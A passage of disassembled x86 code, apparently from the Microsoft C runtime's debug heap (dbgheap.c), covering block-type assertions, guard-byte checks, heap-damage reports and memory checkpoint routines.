		cmp	eax, 2
		jz	short loc_415D82
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_415D82
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	48Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415D82
		int	3		; Trap to Debugger


loc_415D82:				; CODE XREF: sub_415CA0+9Dj
					; sub_415CA0+A6j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415D2F
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+14h], 2
		jnz	short loc_415D9E
		cmp	[ebp+arg_4], 1
		jnz	short loc_415D9E
		mov	[ebp+arg_4], 2


loc_415D9E:				; CODE XREF: sub_415CA0+EFj
					; sub_415CA0+F5j
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_415DD9


loc_415DA7:				; CODE XREF: sub_415CA0+137j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_415DD3
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	492h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415DD3
		int	3		; Trap to Debugger


loc_415DD3:				; CODE XREF: sub_415CA0+110j
					; sub_415CA0+130j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415DA7


loc_415DD9:				; CODE XREF: sub_415CA0+105j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_4], eax
		push	9
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_415CA0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_443898
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_443898, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_41B780
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_4163D0
		add	esp, 4
		test	eax, eax
		jz	short loc_415EAC
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-4], ecx


loc_415E4A:				; CODE XREF: ___:00415EA1j
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_415E9D
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_415E9D
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_415E9D
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_415E9D
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	4D3h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415E9D
		int	3		; Trap to Debugger


loc_415E9D:				; CODE XREF: ___:00415E58j
					; ___:00415E61j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415E4A
		mov	eax, [ebp-4]
		mov	ecx, [ebp+0Ch]
		mov	[eax+14h], ecx


loc_415EAC:				; CODE XREF: ___:00415E3Fj
		push	9
		call	sub_41B820
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, off_443C70
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	off_443C70, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EE0	proc near		; CODE XREF: sub_415890+151p
					; sub_415890+1B7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 1


loc_415EEE:				; CODE XREF: sub_415EE0:loc_415F5Cj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_415F5E
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	eax, ecx
		jz	short loc_415F5C


loc_415F1B:				; CODE XREF: sub_415EE0+73j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		push	eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx-1]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		push	eax
		push	offset aMemoryCheckErr ; "memory check error at	0x%08X = 0x%02X, "...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_415F4F
		int	3		; Trap to Debugger


loc_415F4F:				; CODE XREF: sub_415EE0+6Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415F1B
		mov	[ebp+var_4], 0


loc_415F5C:				; CODE XREF: sub_415EE0+39j
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415F5E:				; CODE XREF: sub_415EE0+1Cj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_415EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F70	proc near		; CODE XREF: sub_414EA0:loc_414EBCp
					; sub_4152A0:loc_415302p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		mov	eax, dword_443890
		and	eax, 1
		test	eax, eax
		jnz	short loc_415F96
		mov	eax, 1
		jmp	loc_4162C8
; ---------------------------------------------------------------------------


loc_415F96:				; CODE XREF: sub_415F70+1Aj
		push	9
		call	sub_41B780
		add	esp, 4
		call	sub_41BC70
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	loc_4160B9
		cmp	[ebp+var_C], 0FFFFFFFEh
		jz	loc_4160B9
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		add	edx, 6
		mov	[ebp+var_18], edx
		cmp	[ebp+var_18], 3
		ja	loc_416082
		mov	eax, [ebp+var_18]
		jmp	off_4162CF[eax*4]


loc_415FDF:				; CODE XREF: sub_415F70+93j
					; DATA XREF: ___:004162DBo
		push	offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_415FFF
		int	3		; Trap to Debugger


loc_415FFF:				; CODE XREF: sub_415F70+8Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415FDF
		jmp	loc_4160A8
; ---------------------------------------------------------------------------


loc_41600A:				; CODE XREF: sub_415F70+68j
					; sub_415F70+BEj
					; DATA XREF: ...
		push	offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41602A
		int	3		; Trap to Debugger


loc_41602A:				; CODE XREF: sub_415F70+B7j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41600A
		jmp	short loc_4160A8
; ---------------------------------------------------------------------------


loc_416032:				; CODE XREF: sub_415F70+68j
					; sub_415F70+E6j
					; DATA XREF: ...
		push	offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416052
		int	3		; Trap to Debugger


loc_416052:				; CODE XREF: sub_415F70+DFj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416032
		jmp	short loc_4160A8
; ---------------------------------------------------------------------------


loc_41605A:				; CODE XREF: sub_415F70+68j
					; sub_415F70+10Ej
					; DATA XREF: ...
		push	offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41607A
		int	3		; Trap to Debugger


loc_41607A:				; CODE XREF: sub_415F70+107j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41605A
		jmp	short loc_4160A8
; ---------------------------------------------------------------------------


loc_416082:				; CODE XREF: sub_415F70+5Fj
					; sub_415F70+136j
		push	offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4160A2
		int	3		; Trap to Debugger


loc_4160A2:				; CODE XREF: sub_415F70+12Fj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_416082


loc_4160A8:				; CODE XREF: sub_415F70+95j
					; sub_415F70+C0j ...
		push	9
		call	sub_41B820
		add	esp, 4
		xor	eax, eax
		jmp	loc_4162C8
; ---------------------------------------------------------------------------


loc_4160B9:				; CODE XREF: sub_415F70+3Cj
					; sub_415F70+46j
		mov	eax, dword_4DB0A0
		mov	[ebp+var_8], eax
		jmp	short loc_4160CB
; ---------------------------------------------------------------------------


loc_4160C3:				; CODE XREF: sub_415F70:loc_4162B6j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		mov	[ebp+var_8], edx


loc_4160CB:				; CODE XREF: sub_415F70+151j
		cmp	[ebp+var_8], 0
		jz	loc_4162BB
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_416110
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+14h], 1
		jz	short loc_416110
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_416110
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+14h], 3
		jnz	short loc_416128


loc_416110:				; CODE XREF: sub_415F70+17Bj
					; sub_415F70+184j ...
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_4438A0[ecx*4]
		mov	[ebp+var_14], edx
		jmp	short loc_41612F
; ---------------------------------------------------------------------------


loc_416128:				; CODE XREF: sub_415F70+19Ej
		mov	[ebp+var_14], offset aDamaged ;	"DAMAGED"


loc_41612F:				; CODE XREF: sub_415F70+1B6j
		push	4
		mov	al, byte_44389C
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1Ch
		push	ecx
		call	sub_415EE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416184


loc_41614A:				; CODE XREF: sub_415F70+20Bj
		mov	edx, [ebp+var_8]
		add	edx, 20h
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_416177
		int	3		; Trap to Debugger


loc_416177:				; CODE XREF: sub_415F70+204j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41614A
		mov	[ebp+var_10], 0


loc_416184:				; CODE XREF: sub_415F70+1D8j
		push	4
		mov	cl, byte_44389C
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_415EE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4161E1


loc_4161A7:				; CODE XREF: sub_415F70+268j
		mov	eax, [ebp+var_8]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_4161D4
		int	3		; Trap to Debugger


loc_4161D4:				; CODE XREF: sub_415F70+261j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4161A7
		mov	[ebp+var_10], 0


loc_4161E1:				; CODE XREF: sub_415F70+235j
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_41623A
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		mov	dl, byte_44389D
		push	edx
		mov	eax, [ebp+var_8]
		add	eax, 20h
		push	eax
		call	sub_415EE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41623A


loc_41620B:				; CODE XREF: sub_415F70+2C1j
		mov	ecx, [ebp+var_8]
		add	ecx, 20h
		push	ecx
		push	offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41622D
		int	3		; Trap to Debugger


loc_41622D:				; CODE XREF: sub_415F70+2BAj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41620B
		mov	[ebp+var_10], 0


loc_41623A:				; CODE XREF: sub_415F70+278j
					; sub_415F70+299j
		cmp	[ebp+var_10], 0
		jnz	short loc_4162B6
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+8], 0
		jz	short loc_41627C


loc_416249:				; CODE XREF: sub_415F70+30Aj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		push	offset aHsAllocatedAtF ; "%hs allocated	at file	%hs(%d).\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_416276
		int	3		; Trap to Debugger


loc_416276:				; CODE XREF: sub_415F70+303j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416249


loc_41627C:				; CODE XREF: sub_415F70+2D7j
					; sub_415F70+33Dj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+var_8]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		push	offset aHsLocatedAt0x0 ; "%hs located at 0x%08X	is %u bytes long."...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_4162A9
		int	3		; Trap to Debugger


loc_4162A9:				; CODE XREF: sub_415F70+336j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41627C
		mov	[ebp+var_4], 0


loc_4162B6:				; CODE XREF: sub_415F70+2CEj
		jmp	loc_4160C3
; ---------------------------------------------------------------------------


loc_4162BB:				; CODE XREF: sub_415F70+15Fj
		push	9
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_4162C8:				; CODE XREF: sub_415F70+21j
					; sub_415F70+144j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_415F70	endp

; ---------------------------------------------------------------------------
off_4162CF	dd offset loc_41605A	; DATA XREF: sub_415F70+68r
		dd offset loc_416032
		dd offset loc_41600A
		dd offset loc_415FDF
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162E0	proc near		; CODE XREF: sub_4179C0+A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_443890
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_4162FB
		mov	ecx, [ebp+arg_0]
		mov	dword_443890, ecx


loc_4162FB:				; CODE XREF: sub_4162E0+10j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4162E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_443890
		and	eax, 1
		test	eax, eax
		jnz	short loc_416322
		jmp	short loc_416373
; ---------------------------------------------------------------------------


loc_416322:				; CODE XREF: ___:0041631Ej
		push	9
		call	sub_41B780
		add	esp, 4
		mov	ecx, dword_4DB0A0
		mov	[ebp-4], ecx
		jmp	short loc_41633F
; ---------------------------------------------------------------------------


loc_416337:				; CODE XREF: ___:loc_416367j
		mov	edx, [ebp-4]
		mov	eax, [edx]
		mov	[ebp-4], eax


loc_41633F:				; CODE XREF: ___:00416335j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_416369
		mov	ecx, [ebp-4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_416367
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		add	ecx, 20h
		push	ecx
		call	dword ptr [ebp+8]
		add	esp, 8


loc_416367:				; CODE XREF: ___:00416354j
		jmp	short loc_416337
; ---------------------------------------------------------------------------


loc_416369:				; CODE XREF: ___:00416343j
		push	9
		call	sub_41B820
		add	esp, 4


loc_416373:				; CODE XREF: ___:00416320j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416380	proc near		; CODE XREF: sub_4163D0+19p
					; ___:004164CAp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_4163BD
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 2821B33h
		test	eax, eax
		jnz	short loc_4163BD
		cmp	[ebp+arg_8], 0
		jz	short loc_4163B4
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 28215EBh
		test	eax, eax
		jnz	short loc_4163BD


loc_4163B4:				; CODE XREF: sub_416380+20j
		mov	[ebp+var_4], 1
		jmp	short loc_4163C4
; ---------------------------------------------------------------------------


loc_4163BD:				; CODE XREF: sub_416380+8j
					; sub_416380+1Aj ...
		mov	[ebp+var_4], 0


loc_4163C4:				; CODE XREF: sub_416380+3Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_416380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4163D0	proc near		; CODE XREF: sub_4152A0+1AAp
					; sub_415890+9Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_4163DE
		xor	eax, eax
		jmp	short loc_416452
; ---------------------------------------------------------------------------


loc_4163DE:				; CODE XREF: sub_4163D0+8j
		push	1
		push	20h
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	sub_416380
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4163F9
		xor	eax, eax
		jmp	short loc_416452
; ---------------------------------------------------------------------------


loc_4163F9:				; CODE XREF: sub_4163D0+23j
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		call	sub_41BE80
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_416426
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41BEE0
		add	esp, 8
		jmp	short loc_416452
; ---------------------------------------------------------------------------


loc_416426:				; CODE XREF: sub_4163D0+3Fj
		mov	ecx, dword_4DB0B0
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41643D
		mov	eax, 1
		jmp	short loc_416452
; ---------------------------------------------------------------------------


loc_41643D:				; CODE XREF: sub_4163D0+64j
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		push	0
		mov	eax, dword_4DB7A0
		push	eax
		nop
		call	near ptr 2830000h


loc_416452:				; CODE XREF: sub_4163D0+Cj
					; sub_4163D0+27j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4163D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4163D0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41647B
		xor	eax, eax
		jmp	loc_41653F
; ---------------------------------------------------------------------------


loc_41647B:				; CODE XREF: ___:00416472j
		push	9
		call	sub_41B780
		add	esp, 4
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-4], ecx
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_4164C0
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_4164C0
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_4164C0
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_416533


loc_4164C0:				; CODE XREF: ___:0041649Cj
					; ___:004164A5j ...
		push	1
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_416380
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416533
		mov	ecx, [ebp-4]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+0Ch]
		jnz	short loc_416533
		mov	eax, [ebp-4]
		mov	ecx, [eax+18h]
		cmp	ecx, dword_443894
		jg	short loc_416533
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_416500
		mov	edx, [ebp+10h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+18h]
		mov	[edx], ecx


loc_416500:				; CODE XREF: ___:004164F3j
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_416511
		mov	edx, [ebp+14h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_416511:				; CODE XREF: ___:00416504j
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_416522
		mov	edx, [ebp+18h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+0Ch]
		mov	[edx], ecx


loc_416522:				; CODE XREF: ___:00416515j
		push	9
		call	sub_41B820
		add	esp, 4
		mov	eax, 1
		jmp	short loc_41653F
; ---------------------------------------------------------------------------


loc_416533:				; CODE XREF: ___:004164BEj
					; ___:004164D4j ...
		push	9
		call	sub_41B820
		add	esp, 4
		xor	eax, eax


loc_41653F:				; CODE XREF: ___:00416476j
					; ___:00416531j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DC7D4
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4DC7D4, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416570	proc near		; CODE XREF: sub_416BF0+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_4165AA


loc_41657F:				; CODE XREF: sub_416570+33j
		push	offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state	pointer.\n"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41659F
		int	3		; Trap to Debugger


loc_41659F:				; CODE XREF: sub_416570+2Cj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41657F
		jmp	loc_4166D3
; ---------------------------------------------------------------------------


loc_4165AA:				; CODE XREF: sub_416570+Dj
		push	9
		call	sub_41B780
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4DB0A0
		mov	[ecx], edx
		mov	[ebp+var_4], 0
		jmp	short loc_4165D1
; ---------------------------------------------------------------------------


loc_4165C8:				; CODE XREF: sub_416570+83j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4165D1:				; CODE XREF: sub_416570+56j
		cmp	[ebp+var_4], 5
		jge	short loc_4165F5
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4+18h], 0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4+4], 0
		jmp	short loc_4165C8
; ---------------------------------------------------------------------------


loc_4165F5:				; CODE XREF: sub_416570+65j
		mov	edx, dword_4DB0A0
		mov	[ebp+var_8], edx
		jmp	short loc_416608
; ---------------------------------------------------------------------------


loc_416600:				; CODE XREF: sub_416570:loc_4166ACj
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx


loc_416608:				; CODE XREF: sub_416570+8Ej
		cmp	[ebp+var_8], 0
		jz	loc_4166B1
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		test	eax, eax
		jl	short loc_416687
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 5
		jge	short loc_416687
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		add	eax, 1
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+edx*4+4], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+18h]
		mov	eax, [ebp+var_8]
		add	edx, [eax+10h]
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4+18h], edx
		jmp	short loc_4166AC
; ---------------------------------------------------------------------------


loc_416687:				; CODE XREF: sub_416570+AFj
					; sub_416570+C0j ...
		mov	edx, [ebp+var_8]
		push	edx
		push	offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4166A6
		int	3		; Trap to Debugger


loc_4166A6:				; CODE XREF: sub_416570+133j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416687


loc_4166AC:				; CODE XREF: sub_416570+115j
		jmp	loc_416600
; ---------------------------------------------------------------------------


loc_4166B1:				; CODE XREF: sub_416570+9Cj
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4DB0A8
		mov	[ecx+2Ch], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4DB09C
		mov	[eax+30h], ecx
		push	9
		call	sub_41B820
		add	esp, 4


loc_4166D3:				; CODE XREF: sub_416570+35j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_416702
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_416702
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_416730


loc_416702:				; CODE XREF: ___:004166F4j
					; ___:004166FAj ...
		push	offset a_crtmemdiffere ; "_CrtMemDifference: NULL state	pointer.\n"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416722
		int	3		; Trap to Debugger


loc_416722:				; CODE XREF: ___:0041671Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416702
		mov	eax, [ebp-8]
		jmp	loc_4167FC
; ---------------------------------------------------------------------------


loc_416730:				; CODE XREF: ___:00416700j
		mov	dword ptr [ebp-4], 0
